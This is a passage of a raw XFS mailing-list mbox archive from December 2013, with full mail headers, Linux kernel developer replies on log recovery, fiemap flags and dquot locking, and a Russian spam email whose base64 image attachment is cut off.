http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143145 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Dec 14, 2013 at 09:11:02AM +1100, Dave Chinner wrote: > I'll rework it, but hte main issue is that it has to be freed > regardless of the error value in commit record processing, so it's > not as simple as just freeing it on error.... Indeed, but think that's another reason to move the freeing to xlog_recover_process_data. Right now or with the proposed patch xlog_recover_commit_trans frees trans, but there's nothing that breaks out of the loop in xlog_recover_process_data after that case. By moving the freeing there for all cases we can add a corruption check for that case, and we have a single function that controls the lifetime of the xlog_recover structure. From dsterba@suse.cz Mon Dec 16 10:49:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6DB117F3F for ; Mon, 16 Dec 2013 10:49:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4CF6A304059 for ; Mon, 16 Dec 2013 08:49:36 -0800 (PST) X-ASG-Debug-ID: 1387212573-04bdf00fdf7ffe0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id lVRCAX3JstTOwqgB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 16 Dec 2013 08:49:34 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 6852BAC0E; Mon, 16 Dec 2013 16:49:33 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 12763DAA0E; Mon, 16 Dec 2013 17:49:32 +0100 (CET) Date: Mon, 16 Dec 2013 17:49:32 +0100 From: David Sterba To: Dave Chinner Cc: Andreas Dilger , linux-fsdevel , linux-nilfs@vger.kernel.org, Mark Fasheh , xfs@oss.sgi.com, Christoph Hellwig , "linux-btrfs@vger.kernel.org Btrfs" , Alexander Viro , Ext4 Developers List , ocfs2-devel@oss.oracle.com Subject: Re: [PATCH 2/4 v3] fiemap: add EXTENT_DATA_COMPRESSED flag Message-ID: <20131216164932.GJ6498@suse.cz> X-ASG-Orig-Subj: Re: [PATCH 2/4 v3] fiemap: add EXTENT_DATA_COMPRESSED flag Reply-To: dsterba@suse.cz Mail-Followup-To: dsterba@suse.cz, Dave Chinner , Andreas Dilger , linux-fsdevel , linux-nilfs@vger.kernel.org, Mark Fasheh , xfs@oss.sgi.com, Christoph Hellwig , "linux-btrfs@vger.kernel.org Btrfs" , Alexander Viro , Ext4 Developers List , ocfs2-devel@oss.oracle.com References: <4f8d5dc5b51a43efaf16c39398c23a6276e40a30.1386778303.git.dsterba@suse.cz> <20131212232443.GL31386@dastard> <9520AB36-B728-423A-8EA1-FDD22B79AE90@dilger.ca> <20131213012251.GO10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213012251.GO10988@dastard> User-Agent: Mutt/1.5.22 (2013-10-16) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1387212574 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143146 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Thanks all for feedback, the changes sound ok to me. I'll send v4. david From BATV+c6d9f9ec2a8c1f5557a9+3767+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 16 12:21:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 78DC37F3F for ; Mon, 16 Dec 2013 12:21:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6710F8F8059 for ; Mon, 16 Dec 2013 10:21:58 -0800 (PST) X-ASG-Debug-ID: 1387218112-04cbb041677a7380001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id Pt4j0H9uZfwESKQm (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 16 Dec 2013 10:21:54 -0800 (PST) X-Barracuda-Envelope-From: BATV+c6d9f9ec2a8c1f5557a9+3767+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vscng-0006yM-4F; Mon, 16 Dec 2013 18:21:52 +0000 Date: Mon, 16 Dec 2013 10:21:52 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 4/3] xfs: xfs_qm_dqrele mostly doesn't need locking Message-ID: <20131216182152.GA22721@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 4/3] xfs: xfs_qm_dqrele mostly doesn't need locking References: <1386841258-22183-1-git-send-email-david@fromorbit.com> <20131212102507.GX10988@dastard> <20131213132807.GB13689@infradead.org> <20131213213006.GU10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213213006.GU10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387218114 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143149 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Dec 14, 2013 at 08:30:06AM +1100, Dave Chinner wrote: > > if (atomic_dec_and_test(&dqp->q_nrefs)) { > > if (list_lru_add(&mp->m_quotainfo->qi_lru, &dqp->q_lru)) > > XFS_STATS_INC(xs_qm_dquot_unused); > > } > > > > given that the only locking we need is the internal lru lock? > > Yes, I think it is. > > However, that involves changing all the callers of dqput to not hold > the dqlock when they call, which is a bigger change than was > necessary to avoid the lock contention problem. i.e. it doesn't seem > to be in a fast path that needed immediate fixing, so I didn't touch > it. Given that the lru list lock nests inside dqlock we can just turn dqput into: void xfs_qm_dqput( struct xfs_dquot *dqp) { ASSERT(dqp->q_nrefs > 0); ASSERT(XFS_DQ_IS_LOCKED(dqp)); trace_xfs_dqput(dqp); xfs_qm_dqrele(dqp); xfs_dqunlock(dqp); } But with my other patch we can probably replace most callers with xfs_qm_dqrele, and the remaining ones with an opencoded version that first drops the lock easily. From nathaniel@charter.com Mon Dec 16 15:46:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 91AB37F3F for ; Mon, 16 Dec 2013 15:46:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7CF8E30406B for ; Mon, 16 Dec 2013 13:46:00 -0800 (PST) X-ASG-Debug-ID: 1387230353-04cb6c537c7b8e90001-NocioJ Received: from add2-still.wm.ru (add2-still.wm.ru [194.190.169.23]) by cuda.sgi.com with ESMTP id 6Vg7NbNw2FWYOxuh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 16 Dec 2013 13:45:54 -0800 (PST) X-Barracuda-Envelope-From: nathaniel@charter.com X-Barracuda-Apparent-Source-IP: 194.190.169.23 Received: from add2-still.wm.ru (localhost [127.0.0.1]) by add2-still.wm.ru (Postfix) with ESMTP id 194ED329BA; Tue, 17 Dec 2013 01:45:50 +0400 (MSK) X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network Received: from Unknown (unknown [85.26.186.254]) by add2-still.wm.ru (Postfix) with ESMTP; Tue, 17 Dec 2013 01:45:49 +0400 (MSK) Message-ID: <5BC3602399AA4C5B9FF601A918EC61F0@iwkzb> Reply-To: =?windows-1251?B?08/QwMLLxc3IxSDCwMve0s3Ow84gys7N0tDO?= =?windows-1251?B?y98=?= From: =?windows-1251?B?08/QwMLLxc3IxSDCwMve0s3Ow84gys7N0tDO?= =?windows-1251?B?y98=?= To: , , , Subject: =?windows-1251?B?0e/w4OLq4CDuIOLg6/7y7fv1IO7v5fDg9uj/?= =?windows-1251?B?9Q==?= Date: Mon, 16 Dec 2013 22:46:04 +0100 X-ASG-Orig-Subj: =?windows-1251?B?0e/w4OLq4CDuIOLg6/7y7fv1IO7v5fDg9uj/?= =?windows-1251?B?9Q==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_20EF_01CEFAB0.99FEBE00" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: add2-still.wm.ru[194.190.169.23] X-Barracuda-Start-Time: 1387230354 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143153 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_TAG_BALANCE_HEAD BODY: HTML has unbalanced "head" tags 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_20EF_01CEFAB0.99FEBE00 Content-Type: multipart/alternative; boundary="----=_NextPart_001_20F0_01CEFAB0.99FEBE00" ------=_NextPart_001_20F0_01CEFAB0.99FEBE00 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C2 =E1=F3=F5=E3=E0=EB=F2=E5=F0=E8=FF ------=_NextPart_001_20F0_01CEFAB0.99FEBE00 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
    =C2 =E1=F3=F5=E3=E0=EB=F2=E5=F0=E8=FF
    ------=_NextPart_001_20F0_01CEFAB0.99FEBE00-- ------=_NextPart_000_20EF_01CEFAB0.99FEBE00 Content-Type: image/png; name="=?windows-1251?B?0e/w4OLq6CDCwMve0s3bySDKzs3S0M7L3C5w?= =?windows-1251?B?bmc=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?0e/w4OLq6CDCwMve0s3bySDKzs3S0M7L3C5w?= =?windows-1251?B?bmc=?=" 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 H8Glwm9jZ+0h+21xD1ZW88GmMJ1K3qY4b/PYTpOC28fztq0PYWU1V2ujl7SwtutobR1YWc0JW/oZ 9NvMi1Bgo0ZxlfiX9BSptIHWZvrWFiE2Dhq4qpoPNg1bsNsy1JPAeVtL/xBgexdWVnPCln4pDZsb QeG33YrWbyTr6QpHp5wPNpN0ILIvKfttkVmLH6YrHHZmXti6Jh7K25IwA4/tNG2rH2wP5W3bt9/E /G5lNSdssRLpsLVlIazw+vJzwpboz0DFb3tZJ/KlVV4CcU7YtkwCw9YGLeOxnaYWZmSDvE1j3oYk V3id0jlh201jGPht69F6AvHGCocLnBc2zP8HfpuJ8AWNjcd2mhibpmoB5W2a8jaP7XRtUd6myb/t 520t8HnbadoyQ9YWorVF3gE5VduYmf2pfgkKbC8hNu+3na5E10asTYa+cnWazLa6PZK3vevrpKfK pDfX4+Z6WPpt4XoiaumXYGU1L2w9am+jl5T9ttCsRR+BbxQ/RTrdgdZQ3nYjoW0rq3l1+N2F3aG8 7Yf4669gZTUvbDuwN7A2g9YGRVzZ1dR8sEnoQm/gt5mXqJ/URjFeTc0LG41vq1rb5xnlymqe49tU mbeZlh/fNo26PC/hVlT4bRvB+ufxw01YWc1rrvxH+JI+pGmR7LcFPC/hI1hZzQubRGyKsHHeFnDe 5iMznKIPMSer5m1vct6mYGU1zzggo9bmsZ0iGweElyRlbC96bNPIW5uTPhzx23zeNpV61m/rj28j v+1megtWVvN6SWk+6UNamJT8tkvWb3sIK6u55m0U+3SfVsb1edtUKvK227dbmLeZ27d93jaVrLVJ WixyH3LhrW06Wb+NVrl6aV/jz894bNOoiBZISw79Gq3jF3ts06iITan6i1z5vG0aWb8tTV8tVsNN vd82jXpF3F3DS1xhHcv7bdOoV8bdpcKUZpX6vG0aDeLu2lXlgWMceWynqG9toAQvgcsRtTy2U1TE 3SXlPPTUY5tGvWMxxT22KXQ8prjP26ZQ6bcN1kug+G3ebztFvWPrJfw6bvF+2ynyeZuTfN7mJLa2 6uBJ/Svoifhe+VPUJWx7lQ30kqZ+waZTtA/ZsLWpX4A88ePbThHHOKoO1VXfgHvb/w5WVvOKOvOp 9Pc6Fb/t1i+k/8crAays5jQv4dovQq8aCerhP4D3L/nwKafIiOvQ26xskDXo1SNYWc1pqtptBR9+ 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 